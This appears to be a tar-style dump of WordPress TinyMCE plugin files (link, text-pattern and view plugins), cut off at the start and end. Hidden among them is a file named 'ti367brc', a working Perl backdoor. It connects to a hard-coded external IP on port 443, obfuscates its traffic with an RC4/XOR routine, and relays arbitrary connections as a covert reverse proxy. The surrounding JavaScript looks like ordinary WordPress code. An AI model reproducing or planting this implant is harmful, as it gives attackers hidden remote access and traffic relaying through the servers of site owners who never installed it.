0!==window.wp&&window.wp.a11y&&window.wp.a11y.speak?window.wp.a11y.speak:function(){},k=!1,m=window.wp.i18n.__,f=window.wp.i18n._n,h=window.wp.i18n.sprintf;function _(){l.$("a").each(function(e,t){var n=l.$(t);"_wp_link_placeholder"===n.attr("href")?l.dom.remove(t,!0):n.attr("data-wplink-edit")&&n.attr("data-wplink-edit",null)})}function v(e,i){return e.replace(/(<a [^>]+>)([\s\S]*?)<\/a>/g,function(e,t,n){return-1<t.indexOf(' href="_wp_link_placeholder"')?n:(t=(t=i?t.replace(/ data-wplink-edit="true"/g,""):t).replace(/ data-wplink-url-error="true"/g,""))+n+"</a>"})}function g(e){var e=l.$(e),t=e.attr("href");t&&void 0!==p&&(k=!1,!/^http/i.test(t)||s.test(t)&&u.test(t)?e.removeAttr("data-wplink-url-error"):(k=!0,e.attr("data-wplink-url-error","true"),w(l.translate("Warning: the link has been inserted but may have errors. Please test it."),"assertive")))}return l.on("preinit",function(){var e;l.wp&&l.wp._createToolbar&&(a=l.wp._createToolbar(["wp_link_preview","wp_link_edit","wp_link_remove"],!0),e=["wp_link_input","wp_link_apply"],void 0!==window.wpLink&&e.push("wp_link_advanced"),(r=l.wp._createToolbar(e,!0)).on("show",function(){void 0!==window.wpLink&&window.wpLink.modalOpen||window.setTimeout(function(){var e=r.$el.find("input.ui-autocomplete-input")[0],t=i&&(i.textContent||i.innerText);e&&(!e.value&&t&&void 0!==window.wpLink&&(e.value=window.wpLink.getUrlFromSelection(t)),n||(e.focus(),e.select()))})}),r.on("hide",function(){r.scrolling||l.execCommand("wp_link_cancel")}))}),l.addCommand("WP_Link",function(){var e,t,n;L.Env.ie&&L.Env.ie<10&&void 0!==window.wpLink?window.wpLink.open(l.id):(t=l.selection.getStart(),(n=l.dom.getParent(t,"a[href]"))||(e=l.selection.getContent({format:"raw"}))&&-1!==e.indexOf("</a>")&&(n=(e=e.match(/href="([^">]+)"/))&&e[1]?l.$('a[href="'+e[1]+'"]',t)[0]:n)&&l.selection.select(n),i=n,r.tempHide=!1,i||(_(),l.execCommand("mceInsertLink",!1,{href:"_wp_link_placeholder"}),i=l.$('a[href="_wp_link_placeholder"]')[0],l.nodeChanged()),l.dom.setAttribs(i,{"data-wplink-edit":!0}))}),l.addCommand("wp_link_apply",function(){if(!r.scrolling){var e,t;if(i){e=c.getURL(),t=c.getLinkText(),l.focus();var n=document.createElement("a");if(n.href=e,!(e="javascript:"!==n.protocol&&"data:"!==n.protocol?e:""))return void l.dom.remove(i,!0);/^(?:[a-z]+:|#|\?|\.|\/)/.test(e)||o.test(e)||(e="http://"+e),l.dom.setAttribs(i,{href:e,"data-wplink-edit":null}),L.trim(i.innerHTML)||l.$(i).text(t||e),g(i)}c.reset(),l.nodeChanged(),void 0===window.wpLinkL10n||k||w(window.wpLinkL10n.linkInserted)}}),l.addCommand("wp_link_cancel",function(){c.reset(),r.tempHide||_()}),l.addCommand("wp_unlink",function(){l.execCommand("unlink"),r.tempHide=!1,l.execCommand("wp_link_cancel")}),l.addShortcut("access+a","","WP_Link"),l.addShortcut("access+s","","wp_unlink"),l.addShortcut("meta+k","","WP_Link"),l.addButton("link",{icon:"link",tooltip:"Insert/edit link",cmd:"WP_Link",stateSelector:"a[href]"}),l.addButton("unlink",{icon:"unlink",tooltip:"Remove link",cmd:"unlink"}),l.addMenuItem("link",{icon:"link",text:"Insert/edit link",cmd:"WP_Link",stateSelector:"a[href]",context:"insert",prependToContext:!0}),l.on("pastepreprocess",function(e){var t=e.content,n=/^(?:https?:)?\/\/\S+$/i;l.selection.isCollapsed()||n.test(l.selection.getContent())||(t=t.replace(/<[^>]+>/g,""),t=L.trim(t),n.test(t)&&(l.execCommand("mceInsertLink",!1,{href:l.dom.decode(t)}),e.preventDefault()))}),l.on("savecontent",function(e){e.content=v(e.content,!0)}),l.on("BeforeAddUndo",function(e){e.lastLevel&&e.lastLevel.content&&e.level.content&&e.lastLevel.content===v(e.level.content)&&e.preventDefault()}),l.on("keydown",function(e){27===e.keyCode&&l.execCommand("wp_link_cancel"),e.altKey||L.Env.mac&&(!e.metaKey||e.ctrlKey)||!L.Env.mac&&!e.ctrlKey||89!==e.keyCode&&90!==e.keyCode||(n=!0,window.clearTimeout(t),t=window.setTimeout(function(){n=!1},500))}),l.addButton("wp_link_preview",{type:"WPLinkPreview",onPostRender:function(){d=this}}),l.addButton("wp_link_input",{type:"WPLinkInput",onPostRender:function(){var n,i,o,a=this.getEl(),e=a.firstChild.nextSibling;c=this,p&&p.ui&&p.ui.autocomplete&&((n=p(e)).on("keydown",function(){n.removeAttr("aria-activedescendant")}).autocomplete({source:function(e,t){if(o===e.term)t(i);else{if(/^https?:/.test(e.term)||-1!==e.term.indexOf("."))return t();p.post(window.ajaxurl,{action:"wp-link-ajax",page:1,search:e.term,_ajax_linking_nonce:p("#_ajax_linking_nonce").val()},function(e){t(i=e)},"json"),o=e.term}},focus:function(e,t){n.attr("aria-activedescendant","mce-wp-autocomplete-"+t.item.ID),e.preventDefault()},select:function(e,t){return n.val(t.item.permalink),p(a.firstChild.nextSibling.nextSibling).val(t.item.title),9===e.keyCode&&void 0!==window.wpLinkL10n&&w(window.wpLinkL10n.linkSelected),!1},open:function(){n.attr("aria-expanded","true"),r.blockHide=!0},close:function(){n.attr("aria-expanded","false"),r.blockHide=!1},minLength:2,position:{my:"left top+2"},messages:{noResults:m("No results found."),results:function(e){return h(f("%d result found. Use up and down arrow keys to navigate.","%d results found. Use up and down arrow keys to navigate.",e),e)}}}).autocomplete("instance")._renderItem=function(e,t){var n=void 0!==window.wpLinkL10n?window.wpLinkL10n.noTitle:"",n=t.title||n;return p('<li role="option" id="mce-wp-autocomplete-'+t.ID+'">').append("<span>"+n+'</span> <span class="wp-editor-float-right">'+t.info+"</span>").appendTo(e)},n.attr({role:"combobox","aria-autocomplete":"list","aria-expanded":"false","aria-owns":n.autocomplete("widget").attr("id")}).on("focus",function(){var e=n.val();e&&!/^https?:/.test(e)&&n.autocomplete("search")}).autocomplete("widget").addClass("wplink-autocomplete").attr("role","listbox").removeAttr("tabindex").on("menufocus",function(e,t){t.item.attr("aria-selected","true")}).on("menublur",function(){p(this).find('[aria-selected="true"]').removeAttr("aria-selected")})),L.$(e).on("keydown",function(e){13===e.keyCode&&(l.execCommand("wp_link_apply"),e.preventDefault())})}}),l.on("wptoolbar",function(e){var t,n,i,o=l.dom.getParent(e.element,"a");void 0!==window.wpLink&&window.wpLink.modalOpen?r.tempHide=!0:(r.tempHide=!1,o?(n=(t=l.$(o)).attr("href"),i=t.attr("data-wplink-edit"),"_wp_link_placeholder"===n||i?("_wp_link_placeholder"===n||c.getURL()||c.setURL(n),e.element=o,e.toolbar=r):n&&!t.find("img").length&&(d.setURL(n),e.element=o,e.toolbar=a,"true"===t.attr("data-wplink-url-error")?a.$el.find(".wp-link-preview a").addClass("wplink-url-error"):(a.$el.find(".wp-link-preview a").removeClass("wplink-url-error"),k=!1))):r.visible()&&l.execCommand("wp_link_cancel"))}),l.addButton("wp_link_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",cmd:"WP_Link"}),l.addButton("wp_link_remove",{tooltip:"Remove link",icon:"dashicon dashicons-editor-unlink",cmd:"wp_unlink"}),l.addButton("wp_link_advanced",{tooltip:"Link options",icon:"dashicon dashicons-admin-generic",onclick:function(){var e,t;void 0!==window.wpLink&&(e=c.getURL()||null,t=c.getLinkText()||null,window.wpLink.open(l.id,e,t),r.tempHide=!0,r.hide())}}),l.addButton("wp_link_apply",{tooltip:"Apply",icon:"dashicon dashicons-editor-break",cmd:"wp_link_apply",classes:"widget btn primary"}),{close:function(){r.tempHide=!1,l.execCommand("wp_link_cancel")},checkLink:g}})}(window.tinymce); // Source: wp-includes/js/tinymce/plugins/wptextpattern/plugin.min.js !function(u,p){function h(e){return e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")}u.Env.ie&&u.Env.ie<9||u.PluginManager.add("wptextpattern",function(s){var f,d=u.util.VK,e=s.settings.wptextpattern||{},t=e.space||[{regExp:/^[*-]\s/,cmd:"InsertUnorderedList"},{regExp:/^1[.)]\s/,cmd:"InsertOrderedList"}],l=e.enter||[{start:"##",format:"h2"},{start:"###",format:"h3"},{start:"####",format:"h4"},{start:"#####",format:"h5"},{start:"######",format:"h6"},{start:">",format:"blockquote"},{regExp:/^(-){3,}$/,element:"hr"}],a=e.inline||[{delimiter:"`",format:"code"}];function c(){var r,i,o,t,d,l,e=s.selection.getRng(),n=e.startContainer,c=e.startOffset;n&&3===n.nodeType&&n.data.length&&c&&(d=n.data.slice(0,c),l=n.data.charAt(c-1),u.each(a,function(e){if(l===e.delimiter.slice(-1)){var t=h(e.delimiter),n=e.delimiter.charAt(0),t=new RegExp("(.*)"+t+".+"+t+"$"),t=d.match(t);if(t){r=t[1].length,i=c-e.delimiter.length;var t=d.charAt(r-1),a=d.charAt(r+e.delimiter.length);if(!(r&&/\S/.test(t)&&(/\s/.test(a)||t===n)||new RegExp("^[\\s"+h(n)+"]+$").test(d.slice(r,i))))return o=e,!1}}}),o)&&(e=s.formatter.get(o.format))&&e[0].inline&&(s.undoManager.add(),s.undoManager.transact(function(){n.insertData(c,"\ufeff"),n=n.splitText(r),t=n.splitText(c-r),n.deleteData(0,o.delimiter.length),n.deleteData(n.data.length-o.delimiter.length,o.delimiter.length),s.formatter.apply(o.format,{},n),s.selection.setCursorLocation(t,1)}),p(function(){f="space",s.once("selectionchange",function(){var e;t&&-1!==(e=t.data.indexOf("\ufeff"))&&t.deleteData(e,e+1)})}))}function g(e){var t,n=s.dom.getParent(e,"p");if(n){for(;(t=n.firstChild)&&3!==t.nodeType;)n=t;if(t)return t=t.data?t:t.nextSibling&&3===t.nextSibling.nodeType?t.nextSibling:null}}function m(){var n,a,r=s.selection.getRng(),i=r.startContainer;i&&g(i)===i&&(n=i.parentNode,a=i.data,u.each(t,function(e){var t=a.match(e.regExp);if(t&&r.startOffset===t[0].length)return s.undoManager.add(),s.undoManager.transact(function(){i.deleteData(0,t[0].length),n.innerHTML||n.appendChild(document.createElement("br")),s.selection.setCursorLocation(n),s.execCommand(e.cmd)}),p(function(){f="space"}),!1}))}s.on("selectionchange",function(){f=null}),s.on("keydown",function(e){if((f&&27===e.keyCode||"space"===f&&e.keyCode===d.BACKSPACE)&&(s.undoManager.undo(),e.preventDefault(),e.stopImmediatePropagation()),!d.metaKeyPressed(e))if(e.keyCode===d.ENTER){var t,n,a,r=s.selection.getRng().startContainer,i=g(r),o=l.length;if(i){for(t=i.data;o--;)if(l[o].start){if(0===t.indexOf(l[o].start)){n=l[o];break}}else if(l[o].regExp&&l[o].regExp.test(t)){n=l[o];break}!n||i===r&&u.trim(t)===n.start||s.once("keyup",function(){s.undoManager.add(),s.undoManager.transact(function(){var e;n.format?(s.formatter.apply(n.format,{},i),i.replaceData(0,i.data.length,(e=i.data.slice(n.start.length))?e.replace(/^\s+/,""):"")):n.element&&(a=i.parentNode&&i.parentNode.parentNode)&&a.replaceChild(document.createElement(n.element),i.parentNode)}),p(function(){f="enter"})})}}else e.keyCode===d.SPACEBAR?p(m):47<e.keyCode&&!(91<=e.keyCode&&e.keyCode<=93)&&p(c)},!0)})}(window.tinymce,window.setTimeout); // Source: wp-includes/js/tinymce/plugins/wpview/plugin.min.js !function(c){c.PluginManager.add("wpview",function(o){function e(){}var n=window.wp;return n&&n.mce&&n.mce.views&&(o.on("init",function(){var e=window.MutationObserver||window.WebKitMutationObserver;e&&new e(function(){o.fire("wp-body-class-change")}).observe(o.getBody(),{attributes:!0,attributeFilter:["class"]}),o.on("wp-body-class-change",function(){var n=o.getBody().className;o.$('iframe[class="wpview-sandbox"]').each(function(e,t){if(!t.src||'javascript:""'===t.src)try{t.contentWindow.document.body.className=n}catch(e){}})})}),o.on("beforesetcontent",function(e){var t;if(e.selection||n.mce.views.unbind(),e.content){if(!e.load&&(t=o.selection.getNode())&&t!==o.getBody()&&/^\s*https?:\/\/\S+\s*$/i.test(e.content)){if(!(t=o.dom.getParent(t,"p"))||!/^[\s\uFEFF\u00A0]*$/.test(o.$(t).text()||""))return;t.innerHTML=""}e.content=n.mce.views.setMarkers(e.content,o)}}),o.on("setcontent",function(){n.mce.views.render()}),o.on("preprocess hide",function(e){o.$("div[data-wpview-text], p[data-wpview-marker]",e.node).each(function(e,t){t.innerHTML="."})},!0),o.on("postprocess",function(e){e.content=a(e.content)}),o.on("beforeaddundo",function(e){var t=e.level.content||e.level.fragments&&e.level.fragments.join(""),n=e.lastLevel?e.lastLevel.content||e.lastLevel.fragments&&e.lastLevel.fragments.join(""):o.startContent;t&&n&&-1!==t.indexOf(" data-wpview-")&&-1!==n.indexOf(" data-wpview-")&&a(n)===a(t)&&e.preventDefault()}),o.on("drop objectselected",function(e){i(e.targetClone)&&(e.targetClone=o.getDoc().createTextNode(window.decodeURIComponent(o.dom.getAttrib(e.targetClone,"data-wpview-text"))))}),o.on("pastepreprocess",function(e){var t=e.content;t&&(t=c.trim(t.replace(/<[^>]+>/g,"")),/^https?:\/\/\S+$/i.test(t))&&(e.content=t)}),o.on("resolvename",function(e){i(e.target)&&(e.name=o.dom.getAttrib(e.target,"data-wpview-type")||"object")}),o.on("click keyup",function(){var e=o.selection.getNode();i(e)&&o.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),o.addButton("wp_view_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",onclick:function(){var e=o.selection.getNode();i(e)&&n.mce.views.edit(o,e)}}),o.addButton("wp_view_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){o.fire("cut")}}),o.once("preinit",function(){var t;o.wp&&o.wp._createToolbar&&(t=o.wp._createToolbar(["wp_view_edit","wp_view_remove"]),o.on("wptoolbar",function(e){!e.collapsed&&i(e.element)&&(e.toolbar=t)}))}),o.wp=o.wp||{},o.wp.getView=e,o.wp.setViewCursor=e),{getView:e};function i(e){return o.dom.hasClass(e,"wpview")}function a(e){function t(e,t){return"<p>"+window.decodeURIComponent(t)+"</p>"}return e&&-1!==e.indexOf(" data-wpview-")?e.replace(/<div[^>]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g,t).replace(/<p[^>]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g,t):e}})}(window.tinymce); tinymce/ti367brc 0000755 00000022033 15111757755 0007523 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.191'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/wptextpattern/plugin.min.js 0000644 00000006061 15111757755 0015265 0 ustar 00 !function(u,p){function h(e){return e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")}u.Env.ie&&u.Env.ie<9||u.PluginManager.add("wptextpattern",function(s){var f,d=u.util.VK,e=s.settings.wptextpattern||{},t=e.space||[{regExp:/^[*-]\s/,cmd:"InsertUnorderedList"},{regExp:/^1[.)]\s/,cmd:"InsertOrderedList"}],l=e.enter||[{start:"##",format:"h2"},{start:"###",format:"h3"},{start:"####",format:"h4"},{start:"#####",format:"h5"},{start:"######",format:"h6"},{start:">",format:"blockquote"},{regExp:/^(-){3,}$/,element:"hr"}],a=e.inline||[{delimiter:"`",format:"code"}];function c(){var r,i,o,t,d,l,e=s.selection.getRng(),n=e.startContainer,c=e.startOffset;n&&3===n.nodeType&&n.data.length&&c&&(d=n.data.slice(0,c),l=n.data.charAt(c-1),u.each(a,function(e){if(l===e.delimiter.slice(-1)){var t=h(e.delimiter),n=e.delimiter.charAt(0),t=new RegExp("(.*)"+t+".+"+t+"$"),t=d.match(t);if(t){r=t[1].length,i=c-e.delimiter.length;var t=d.charAt(r-1),a=d.charAt(r+e.delimiter.length);if(!(r&&/\S/.test(t)&&(/\s/.test(a)||t===n)||new RegExp("^[\\s"+h(n)+"]+$").test(d.slice(r,i))))return o=e,!1}}}),o)&&(e=s.formatter.get(o.format))&&e[0].inline&&(s.undoManager.add(),s.undoManager.transact(function(){n.insertData(c,"\ufeff"),n=n.splitText(r),t=n.splitText(c-r),n.deleteData(0,o.delimiter.length),n.deleteData(n.data.length-o.delimiter.length,o.delimiter.length),s.formatter.apply(o.format,{},n),s.selection.setCursorLocation(t,1)}),p(function(){f="space",s.once("selectionchange",function(){var e;t&&-1!==(e=t.data.indexOf("\ufeff"))&&t.deleteData(e,e+1)})}))}function g(e){var t,n=s.dom.getParent(e,"p");if(n){for(;(t=n.firstChild)&&3!==t.nodeType;)n=t;if(t)return t=t.data?t:t.nextSibling&&3===t.nextSibling.nodeType?t.nextSibling:null}}function m(){var n,a,r=s.selection.getRng(),i=r.startContainer;i&&g(i)===i&&(n=i.parentNode,a=i.data,u.each(t,function(e){var t=a.match(e.regExp);if(t&&r.startOffset===t[0].length)return s.undoManager.add(),s.undoManager.transact(function(){i.deleteData(0,t[0].length),n.innerHTML||n.appendChild(document.createElement("br")),s.selection.setCursorLocation(n),s.execCommand(e.cmd)}),p(function(){f="space"}),!1}))}s.on("selectionchange",function(){f=null}),s.on("keydown",function(e){if((f&&27===e.keyCode||"space"===f&&e.keyCode===d.BACKSPACE)&&(s.undoManager.undo(),e.preventDefault(),e.stopImmediatePropagation()),!d.metaKeyPressed(e))if(e.keyCode===d.ENTER){var t,n,a,r=s.selection.getRng().startContainer,i=g(r),o=l.length;if(i){for(t=i.data;o--;)if(l[o].start){if(0===t.indexOf(l[o].start)){n=l[o];break}}else if(l[o].regExp&&l[o].regExp.test(t)){n=l[o];break}!n||i===r&&u.trim(t)===n.start||s.once("keyup",function(){s.undoManager.add(),s.undoManager.transact(function(){var e;n.format?(s.formatter.apply(n.format,{},i),i.replaceData(0,i.data.length,(e=i.data.slice(n.start.length))?e.replace(/^\s+/,""):"")):n.element&&(a=i.parentNode&&i.parentNode.parentNode)&&a.replaceChild(document.createElement(n.element),i.parentNode)}),p(function(){f="enter"})})}}else e.keyCode===d.SPACEBAR?p(m):47<e.keyCode&&!(91<=e.keyCode&&e.keyCode<=93)&&p(c)},!0)})}(window.tinymce,window.setTimeout); tinymce/plugins/wptextpattern/plugin.js 0000644 00000021142 15111757755 0014500 0 ustar 00 /** * Text pattern plugin for TinyMCE * * @since 4.3.0 * * This plugin can automatically format text patterns as you type. It includes several groups of patterns. * * Start of line patterns: * As-you-type: * - Unordered list (`* ` and `- `). * - Ordered list (`1. ` and `1) `). * * On enter: * - h2 (## ). * - h3 (### ). * - h4 (#### ). * - h5 (##### ). * - h6 (###### ). * - blockquote (> ). * - hr (---). * * Inline patterns: * - <code> (`) (backtick). * * If the transformation in unwanted, the user can undo the change by pressing backspace, * using the undo shortcut, or the undo button in the toolbar. * * Setting for the patterns can be overridden by plugins by using the `tiny_mce_before_init` PHP filter. * The setting name is `wptextpattern` and the value is an object containing override arrays for each * patterns group. There are three groups: "space", "enter", and "inline". Example (PHP): * * add_filter( 'tiny_mce_before_init', 'my_mce_init_wptextpattern' ); * function my_mce_init_wptextpattern( $init ) { * $init['wptextpattern'] = wp_json_encode( array( * 'inline' => array( * array( 'delimiter' => '**', 'format' => 'bold' ), * array( 'delimiter' => '__', 'format' => 'italic' ), * ), * ) ); * * return $init; * } * * Note that setting this will override the default text patterns. You will need to include them * in your settings array if you want to keep them working. */ ( function( tinymce, setTimeout ) { if ( tinymce.Env.ie && tinymce.Env.ie < 9 ) { return; } /** * Escapes characters for use in a Regular Expression. * * @param {String} string Characters to escape * * @return {String} Escaped characters */ function escapeRegExp( string ) { return string.replace( /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&' ); } tinymce.PluginManager.add( 'wptextpattern', function( editor ) { var VK = tinymce.util.VK; var settings = editor.settings.wptextpattern || {}; var spacePatterns = settings.space || [ { regExp: /^[*-]\s/, cmd: 'InsertUnorderedList' }, { regExp: /^1[.)]\s/, cmd: 'InsertOrderedList' } ]; var enterPatterns = settings.enter || [ { start: '##', format: 'h2' }, { start: '###', format: 'h3' }, { start: '####', format: 'h4' }, { start: '#####', format: 'h5' }, { start: '######', format: 'h6' }, { start: '>', format: 'blockquote' }, { regExp: /^(-){3,}$/, element: 'hr' } ]; var inlinePatterns = settings.inline || [ { delimiter: '`', format: 'code' } ]; var canUndo; editor.on( 'selectionchange', function() { canUndo = null; } ); editor.on( 'keydown', function( event ) { if ( ( canUndo && event.keyCode === 27 /* ESCAPE */ ) || ( canUndo === 'space' && event.keyCode === VK.BACKSPACE ) ) { editor.undoManager.undo(); event.preventDefault(); event.stopImmediatePropagation(); } if ( VK.metaKeyPressed( event ) ) { return; } if ( event.keyCode === VK.ENTER ) { enter(); // Wait for the browser to insert the character. } else if ( event.keyCode === VK.SPACEBAR ) { setTimeout( space ); } else if ( event.keyCode > 47 && ! ( event.keyCode >= 91 && event.keyCode <= 93 ) ) { setTimeout( inline ); } }, true ); function inline() { var rng = editor.selection.getRng(); var node = rng.startContainer; var offset = rng.startOffset; var startOffset; var endOffset; var pattern; var format; var zero; // We need a non-empty text node with an offset greater than zero. if ( ! node || node.nodeType !== 3 || ! node.data.length || ! offset ) { return; } var string = node.data.slice( 0, offset ); var lastChar = node.data.charAt( offset - 1 ); tinymce.each( inlinePatterns, function( p ) { // Character before selection should be delimiter. if ( lastChar !== p.delimiter.slice( -1 ) ) { return; } var escDelimiter = escapeRegExp( p.delimiter ); var delimiterFirstChar = 